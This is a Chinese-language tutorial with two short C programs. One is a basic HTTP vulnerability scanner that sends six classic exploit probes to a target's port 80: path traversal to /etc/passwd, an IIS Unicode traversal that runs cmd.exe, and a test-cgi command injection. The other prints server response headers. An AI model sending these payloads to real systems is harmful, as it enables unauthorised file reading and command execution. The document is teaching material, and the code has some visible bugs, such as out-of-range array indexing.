编写漏洞扫描器

编写漏洞扫描器

一、漏洞扫描器基本原理： 编写漏洞扫描器探查远程服务器上可能存在的具有安全隐患的文件是否存在，它的socket建立过程和上面的端口扫描器是相同的，所不同的是漏洞扫描器通常使用80端口，然后对这个端口发送一个GET文件的请求，服务器接收到请求会返回文件内容，如果文件不存在则返回一个错误提示，通过接收返回内容可以判断文件是否存在。发送和接收数据需要使用函数send()和recv()，另外对流中存在的字符串进行判断需要使用函数strstr()，这除了需要具备socket函数库的知识以外，还需要一些有关string函数库的知识。 二、简单的漏洞扫描源代码： /********************/ /* 端口扫描器 源代码*/ /********************/ #include <stdio.h> #include <string.h> #include <winsock.h> int main(int argc,char *argv[]) { if(argc!=2){ printf("Useage : scan [IP address]/n"); return(1); } struct sockaddr_in blah; struct hostent *he; WSADATA wsaData; int i; WORD wVersionRequested; SOCKET sock; char buff[1024]; char *ex[10]; ex[1]="GET /../../../../etc/passwd HTTP/1.0/n/n"; ex[2]="GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:/ HTTP/1.0/n/n"; ex[3]="GET /A.ida/%c1%00.ida HTTP/1.0/n/n"; ex[4]="GET /cgi-bin/pfdispaly.cgi?/../../../../etc/motd HTTP/1.0/n/n"; ex[5]="GET /cgi-bin/test-cgi?/help&0a/bin/cat%20/etc/passwd HTTP/1.0/n/n"; ex[6]="GET /cgi-bin/test-cgi?* HTTP/1.0/n/n"; char *fmsg="HTTP/1.1 200 OK"; wVersionRequested = MAKEWORD( 1, 1 ); if (WSAStartup(wVersionRequested , &wsaData)){ printf("Winsock Initialization failed./n"); exit(1); } if ((sock=socket(AF_INET,SOCK_STREAM,0))==INVALID_SOCKET){ printf("Can not create socket./n"); exit(1); } sock = socket(AF_INET,SOCK_STREAM,0); blah.sin_family = AF_INET; blah.sin_port = htons(80); blah.sin_addr.s_addr= inet_addr(argv[1]); if ((he=gethostbyname(argv[1]))!=NULL){ memcpy((char *)&blah.sin_addr.s_addr,he->h_addr,he->h_length); } else{ if((blah.sin_addr.s_addr=inet_addr(argv[1]))==-1){ WSACleanup(); exit(1); } } for (i=1 ; i<7; i++) { if (connect(sock,(struct sockaddr*)&blah,sizeof(blah))==0){ send(sock,ex[i],strlen(ex[i]),0); recv(sock,buff,sizeof(buff),0); if(strstr(buff,fmsg)!=NULL){ printf("/nFound :%s/n", ex[i]); } } closesocket(sock); WSACleanup(); return(1); } } 这段代码可以检测六个漏洞，读者可以根据自己的需要增加漏洞扫描的数量。程序实现的很简洁，概括起来这段程序完成了一下四项工作： 1、连接目标主机SERVER； 2、向目标主机发送GET请求； 3、接收目标返回数据； 4、根据返回数据判断文件是否存在。 三、返回数值： 读者也许不明白，程序究竟依靠返回的什么数值判断文件是否存在的呢？现在让我们修改一下程序，仔细看一下返回来的究竟是什么内容，对上面的程序进行如下修改： /************************/ /* 检测文件头内容 源代码*/ /************************/ #include <stdio.h> #include <string.h> #include <winsock.h> int main(int argc,char *argv[]) { if(argc!=2){ printf("Useage : scan [IP address]/n"); return(1); } struct sockaddr_in blah; struct hostent *he; WSADATA wsaData; WORD wVersionRequested; SOCKET sock; char buff[4096]; char *ex[2]; ex[1]="GET /index.html HTTP/1.0/n/n"; ex[2]="GET /noindex.htm HTTP/1.0/n/n"; wVersionRequested = MAKEWORD( 1, 1 ); if (WSAStartup(wVersionRequested , &wsaData)){ printf("Winsock Initialization failed./n"); exit(1); } if ((sock=socket(AF_INET,SOCK_STREAM,0))==INVALID_SOCKET){ printf("Can not create socket./n"); exit(1); } sock = socket(AF_INET,SOCK_STREAM,0); blah.sin_family = AF_INET; blah.sin_port = htons(80); blah.sin_addr.s_addr= inet_addr(argv[1]); if ((he=gethostbyname(argv[1]))!=NULL){ memcpy((char *)&blah.sin_addr.s_addr,he->h_addr,he->h_length); } else{ if((blah.sin_addr.s_addr=inet_addr(argv[1]))==-1){ WSACleanup(); exit(1); } } if (connect(sock,(struct sockaddr*)&blah,sizeof(blah))==0){ send(sock,ex[1],strlen(ex[1]),0); recv(sock,buff,sizeof(buff),0); printf("%s",buff); send(sock,ex[2],strlen(ex[2]),0); recv(sock,buff,sizeof(buff),0); printf("%s",buff); } closesocket(sock); WSACleanup(); return(1); } 程序将检测文件进行了修改，指对“/index.htm”和“/noindex.htm”进行判断，因为index.htm是默认的页面，所以大多数情况下是存在于服务器上的，而noindex.htm则是没有找到文件的情况，通过对接收回来的流buff的printf()可以清楚地看到返回来的究竟是什么东西。 通过运行程序读者会看到类似下面的内容： HTTP/1.1 200 OK Date: Thu, 23 Aug 2001 10:59:31 GMT Server: Apache/1.3.12 (Unix) Last-Modified: Thu, 23 Aug 2001 10:44:11 GMT ETag: "a9c96-b73e-3b84de7b" Accept-Ranges: bytes Content-Length: 46910 Connection: close Content-Type: text/html 这个htm程序的头部说明，返回内容还会有很多，不过下面的内容就是正常的htm文件了，这个头是被隐藏的，所以大多数使用者在平时使用电脑过程中，不会发现htm文件的开始部位，还有一个这样的内容说明。这个头里面包含了很多信息，例如第一行的200 OK就是文件存在的意思，如果是404 NOT FOUND那么就是文件不存在，也就是这个内容才能够让漏洞扫描器正常工作，现在读者应该明白为什么我们编写的漏洞扫描器里面由foundmsg=HTTP/1.1 200 OK的语句了吧。 通过这个头还可以了解到对方服务器使用的是什么系统，例如：Server: Apache/1.3.12 (Unix)就是我们扫描的服务器使用的系统类型。